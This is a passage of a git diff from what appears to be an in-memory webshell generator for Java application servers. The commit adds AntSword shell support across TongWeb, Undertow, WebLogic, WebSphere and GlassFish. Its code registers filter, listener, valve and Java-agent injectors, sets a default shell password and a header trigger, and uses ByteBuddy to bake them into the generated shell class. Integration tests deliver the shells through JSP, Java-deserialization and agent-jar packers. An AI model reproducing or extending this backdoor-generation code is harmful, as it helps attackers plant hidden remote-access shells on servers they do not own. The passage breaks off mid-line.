TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java index da2085f1..8ac47f71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; @@ -82,4 +86,15 @@ public class TongWeb6Shell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java index 1dd6dc3d..0852a2d5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; @@ -82,4 +86,15 @@ public class TongWeb7Shell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index 5c176832..ef5fd339 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -8,6 +10,8 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener; +import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.command.CommandListener; @@ -83,4 +87,14 @@ public class UndertowShell extends AbstractShell { map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class)); + map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java index 77157674..8e2d9fb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener; import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; import com.reajason.javaweb.memshell.weblogic.command.CommandListener; import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; @@ -71,4 +75,14 @@ public class WebLogicShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class)); + map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java index e52c940b..04a6dc75 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener; import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; import com.reajason.javaweb.memshell.websphere.command.CommandListener; import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; @@ -71,4 +75,14 @@ public class WebSphereShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class)); + map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java new file mode 100644 index 00000000..569bdc55 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class AntSwordConfig extends ShellToolConfig { + @Builder.Default + private String pass = "pass"; + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java index 22c1b658..cab660e2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java @@ -24,4 +24,9 @@ public enum ShellTool { * Suo5 隧道代理 */ Suo5, + + /** + * 蚁剑 + */ + AntSword, } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java new file mode 100644 index 00000000..6f31f819 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.AntSwordConfig; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.lang3.StringUtils; + +import java.util.Map; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordGenerator { + private final ShellConfig shellConfig; + private final AntSwordConfig antSwordConfig; + + public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) { + this.shellConfig = shellConfig; + this.antSwordConfig = antSwordConfig; + } + + public DynamicType.Builder getBuilder() { + if (antSwordConfig.getShellClass() == null) { + throw new IllegalArgumentException("antSwordConfig.getClazz() == null"); + } + if (StringUtils.isBlank(antSwordConfig.getPass())) { + throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()"); + } + DynamicType.Builder builder = new ByteBuddy() + .redefine(antSwordConfig.getShellClass()) + .name(antSwordConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(Map.of( + "pass", antSwordConfig.getPass(), + "headerName", antSwordConfig.getHeaderName(), + "headerValue", antSwordConfig.getHeaderValue() + )) + ); + } else { + builder = builder.field(named("pass")).value(antSwordConfig.getPass()) + .field(named("headerName")).value(antSwordConfig.getHeaderName()) + .field(named("headerValue")).value(antSwordConfig.getHeaderValue()); + } + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 65560593..4daec4d8 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -11,6 +11,7 @@ dependencies { testImplementation project(":tools:behinder") testImplementation project(":tools:godzilla") testImplementation project(":tools:suo5") + testImplementation project(":tools:ant-sword") testImplementation project(':generator') testImplementation 'net.bytebuddy:byte-buddy' diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index b14072ae..862b7141 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.SpringWebFluxShell; @@ -92,6 +93,9 @@ public class ShellAssertionTool { case Suo5: testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); break; + case AntSword: + testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); + break; } } @@ -137,6 +141,15 @@ public class ShellAssertionTool { assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); } + public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { + AntSwordManager antSwordManager = AntSwordManager.builder() + .entrypoint(entrypoint) + .pass(shellConfig.getPass()) + .header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build(); + assertTrue(antSwordManager.getInfo().contains("ok")); + } + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { @@ -185,6 +198,15 @@ public class ShellAssertionTool { .build(); log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName); break; + case AntSword: + String antPassword = "ant"; + shellToolConfig = AntSwordConfig.builder() + .pass(antPassword) + .headerName("User-Agent") + .headerValue(uniqueName) + .build(); + log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName); + break; } return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 16f5dc34..45dc65c3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -57,6 +57,8 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -65,6 +67,8 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -73,9 +77,13 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index b8398186..c2d0d281 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -58,6 +58,8 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +68,8 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,9 +78,13 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 335200bd..b5cfbfa1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -50,6 +50,8 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 527845d5..50c05dba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -53,6 +53,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -64,6 +67,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -75,9 +81,14 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, 